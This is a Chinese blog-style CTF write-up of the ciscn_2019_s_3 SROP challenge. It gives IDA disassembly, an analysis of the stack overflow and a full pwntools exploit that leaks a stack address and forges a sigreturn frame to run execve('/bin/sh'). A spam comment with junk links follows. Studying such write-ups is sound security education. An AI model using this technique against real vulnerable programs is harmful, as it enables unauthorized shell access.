- A+
这是一道入门级别的Kernel rop,但是写的时候不小心翻车了,记录一下一些细节。
0x00 分析
首先在IDA中可以发现三个主要的函数
main
text:000000000040051D ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:000000000040051D public main
.text:000000000040051D main proc near ; DATA XREF: _start+1D↑o
.text:000000000040051D
.text:000000000040051D var_10 = qword ptr -10h
.text:000000000040051D var_4 = dword ptr -4
.text:000000000040051D
.text:000000000040051D ; __unwind {
.text:000000000040051D push rbp
.text:000000000040051E mov rbp, rsp
.text:0000000000400521 sub rsp, 10h
.text:0000000000400525 mov [rbp+var_4], edi
.text:0000000000400528 mov [rbp+var_10], rsi
.text:000000000040052C mov eax, 0
.text:0000000000400531 call vuln
.text:0000000000400536 nop
.text:0000000000400537 leave
.text:0000000000400538 retn
.text:0000000000400538 ; } // starts at 40051D
.text:0000000000400538 main endp
vuln
.text:00000000004004ED public vuln
.text:00000000004004ED vuln proc near ; CODE XREF: main+14↓p
.text:00000000004004ED
.text:00000000004004ED buf = byte ptr -10h
.text:00000000004004ED
.text:00000000004004ED ; __unwind {
.text:00000000004004ED push rbp
.text:00000000004004EE mov rbp, rsp
.text:00000000004004F1 xor rax, rax
.text:00000000004004F4 mov edx, 400h ; count
.text:00000000004004F9 lea rsi, [rsp-10h] ; buf
.text:00000000004004FE mov rdi, rax ; fd
.text:0000000000400501 syscall ; LINUX - sys_read
.text:0000000000400503 mov rax, 1
.text:000000000040050A mov edx, 30h ; count
.text:000000000040050F lea rsi, [rsp+buf] ; buf
.text:0000000000400514 mov rdi, rax ; fd
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn
.text:0000000000400519 vuln endp ; sp-analysis failed
gadget
.text:00000000004004D6 public gadgets
.text:00000000004004D6 gadgets proc near
.text:00000000004004D6 ; __unwind {
.text:00000000004004D6 push rbp
.text:00000000004004D7 mov rbp, rsp
.text:00000000004004DA mov rax, 0Fh
.text:00000000004004E1 retn
.text:00000000004004E1 gadgets endp ; sp-analysis failed
.text:00000000004004E1
.text:00000000004004E2 ; ---------------------------------------------------------------------------
.text:00000000004004E2 mov rax, 3Bh
.text:00000000004004E9 retn
.text:00000000004004E9 ; ---------------------------------------------------------------------------
.text:00000000004004EA db 90h
.text:00000000004004EB ; ---------------------------------------------------------------------------
.text:00000000004004EB pop rbp
.text:00000000004004EC retn
.text:00000000004004EC ; } // starts at 4004D6
在main函数中调用了vuln,然后在vuln中调用了read和write两个系统调用,向rsp-0x10处写入并输出用户可控的内容,存在溢出。
gadget函数没有被直接调用,该函数设置了rax=15并返回,推测可能和系统调用号有关。查到ubuntu18 64位系统调用号15为rt_sigreturn,用于恢复从用户态进入内核态所保存的上下文(即寄存器信息)。详细如下:
![[SROP] ciscn_2019_s_3题解](https://wiki.x10sec.org/pwn/stackoverflow/figure/srop-example-1.png)
可以发现,这个gadget给了我们一个机会修改寄存器的值去调用execve。
踩坑的地方
注意vuln函数和gadget函数有一个特点,那就是函数末尾没有leave指令,在执行完后不会恢复rbp和rsp状态到上一个栈帧,原先rbp值保存的位置变成了返回地址的位置。
也就是说加入我们在第一次溢出控制返回地址到main函数,再次进入vuln时rsp的值和先前进入rsp的值已经不一样了。假如我们需要泄露栈地址来构造参数的话,这个细节可能引起参数相对位置变化。
针对以上情况,第一次溢出只要直接控制返回地址为vuln,就可以保证rsp的相对位置不变。
栈相关的题往往会出现很多容易忽略的细节,还是需要比较多的经验。
0x01 exp构造
思路
大致思路:
- 构造第一次溢出,返回地址为vuln,由于write输出的长度比较长,会泄露一些栈上地址。
- 读取泄露的栈上地址,计算出相对于vule函数的rsp-0x10地址,作为后续保存"/bin/sh",并调用execve的第一个参数rdi的值。
- 构造FakeFrame:rax=59 (SYS_execve), rdi=binsh_addr, rsi=0, rdx=0, rip=syscall
- 注意上一步构造FakeFrame的时候不要忘了设置rip,因为即使恢复了上下文寄存器的状态,但是不执行系统调用,也无法getshell!
- 再次溢出,返回地址设置为gadget函数中第三行的地址(同样是为了不破坏栈上相对位置),然后再返回到syscall去恢复FakeFrame
- 最后getshell
完整exp
因为用到SigreturnFrame(),所以最好在python2环境下执行脚本
from pwn import *
p = process("bin")
#p = remote("node3.buuoj.cn",29881)
libc = ELF("libc.so.6")
context.log_level = "debug"
context.arch = "amd64"
vuln = 0x4004ED
syscall = 0x400501
gadget = 0x4004DA #make rax=15
payload1 = b"A"*0x10 + p64(vuln)
p.send(payload1)
p.recv(0x20)
stack_leak = u64(p.recv(6).ljust(8,"\x00"))
binsh_addr = stack_leak-280
print("stack_leak: "+hex(stack_leak))
print("binsh_addr: "+hex(binsh_addr))
FakeFrame = SigreturnFrame()
FakeFrame.rax = constants.SYS_execve
FakeFrame.rdi = binsh_addr
FakeFrame.rsi = 0
FakeFrame.rdx = 0
FakeFrame.rip = syscall
payload2 = "/bin/sh\x00" + "B"*8 + p64(gadget) + p64(syscall) + str(FakeFrame)
p.send(payload2)
p.interactive()
SigreturnFrame() 简介:
这个函数用于生成恢复上下文用的FakeFrame,使用前先要设定arch类型,实例化后按需要设置寄存器的值,最后str处理拼接到payload中。
2020年9月24日 上午7:12 沙发
[SROP] ciscn_2019_s_3题解
fltrcpmzn http://www.g0h2ipy4t1lu5xx40cm6m54305y76z9vs.org/
afltrcpmzn
[url=http://www.g0h2ipy4t1lu5xx40cm6m54305y76z9vs.org/]ufltrcpmzn[/url]